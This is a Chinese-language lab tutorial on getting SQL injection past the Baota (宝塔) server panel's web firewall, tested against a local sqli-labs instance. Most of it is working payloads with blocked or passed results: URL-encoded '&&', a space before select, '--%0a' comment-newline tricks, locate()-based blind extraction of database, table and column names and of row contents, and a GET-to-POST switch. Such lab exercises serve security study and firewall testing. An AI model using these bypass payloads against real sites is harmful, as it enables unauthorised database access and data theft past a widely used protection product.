实验介绍
宝塔面板是广东堡塔安全技术有限公司研发的服务器管理工具,是一家专门从事服务器相关软件及服务研发的公司,宝塔的愿景就是让使用者更简便的使用服务器。宝塔面板是一款服务器管理软件,支持windows和linux系统,可以通过Web端轻松管理服务器,提升运维效率。例如:创建管理网站、FTP、数据库,拥有可视化文件管理器,可视化软件管理器,可视化CPU、内存、流量监控图表,计划任务等功能。
宝塔面板拥有网站的防护功能,可以防止sql注入,挂马,cc攻击等网站入侵的功能
实验目的
1.掌握sql注入绕过宝塔技巧
2.了解宝塔面板过滤方式
实验开始
第一步:
首先我们测试注入点,结果如下图所示
1 or 1=1 拦截 1 and 1=1 拦截 1 || 1=1 拦截
第二步:
id=1 %26%26 1=1 通过
在这里我们使用&&替换and关键字来做判断,在SQL语法中&&等价于and关键字,然后利用URL编码对关键字内容&&url编码,怕和传递多个参数的&字符冲突,&字符编码后对应为%26,我们发现可以通过此方法绕过
接着我们继续尝试
第三步:
1 && (select 1)=1 && 1=1 拦截
第四步:
1 && ( select 1)=1 && 1=1 通过
猜测可能匹配到了SQL语句中携带select关键字,符合拦截规则而被拦截,在select前面补空格就可以绕过
第五步:
1 and( select database()='security') and 1=1 拦截
尝试把数据库名称跑出来这里利用databases()函数获取当前数据库名称被拦截了
这里猜测拦截的是database()函数,同理猜测可能是关键字拦截
第六步:
1 and( select database/**/()='security') and1=1 拦截 中间加注释符操作绕过验证失败
1 &&( select database--%0a()='security') &&1=1 通过
这里使用了 --换行(换行转化对应的URL编码为%0a)
第七步:
解释一下这里--%0a为注释后面代码的然后换行,Mysql换行后的代码还是可以跟着上一行的执行,这样可以实现绕过。由于宝塔拦截的MySql函数还是挺多的,但是庞大的mysql函数库,还怕他不成,从上外下试了挺多个函数后,找到了一两个可以用的函数,这里拿locate()举例,该函数表示参数1的值是否在参数2里,是的话返回真,否则返回假,那我们开始来猜解.
id=1 &&locate('s',( select database--%0a())) &&1=1 返回真
第八步:
这里其实可以给locate加个判断,看第一个字符是什么再进行猜解,例如
id=1 &&(locate('s',( select database--%0a())))=1&&1=1返回真 表示第一个字段是s
id=1 &&locate('b',( select database--%0a())) &&1=1返回假
第九步:
‘id=1&&(locate('se',(select database--%0a())))=1&&1=1 为真。
id=1&&(locate('sa',(select database--%0a())))=1&&1=1为假。
第十步:
一路下来,大概猜解流程就是这样
id=1&&(locate('security',(selectdatabase--%0a())))=1&&1=1 返回真
我们就知道数据库名security
接着就是猜表了
第十一步:
id=1&&locate('e',(select table_name frominformation_schema.tables where
table_schema='security' limit 0,1)) &&1=1 拦截
我们发现在进行get注入时候发现拦截。
我们猜测是select from这个参数被拦截。
第十二步:
当我们去掉from之后我们发现宝塔不对我们的请求进行拦截
http://192.168.0.121/sqli-labs-master/Less-1/?id=1' %26%26 locate('e',( select 1 )) %26%26 1=1
第十三步:
然后我们发现改成post型传入发现不拦截,可能是宝塔的注入问题
第十四步:
这样我们就换到11关post注入来抓包,我猜出了第一个表,表名为emails。就不一一猜解了,接着猜字段,查询到第一个字段id
1&&locate('id',(select column_name from information_schema.columns
where table_schema='security' and table_name='emails' limit 0,1))
&&1=1
接着我们查询内容
第十五步:
1 &&locate('1',(select id from emails limit 0,1))&&1=1 拦截
1 && (select locate('1',id)from emails limit 0,1) &&1=1 拦截
1 &&(select--%0alocate('1',id)from emails limit 0,1) &&1=1 拦截
第十六步:
1 &&( select--%0alocate('1',id)from emails limit 0,1) &&1=1 通过
我们在select前面加一个空格,就可以绕过了。
PS:在这里我就不爆所有内容了 思路都是一样的
总得来说在绕过宝塔的时候有一些规则还是我们需要去思考的,像在select from中post不拦截,get拦截,这种绕过就有一定的局限性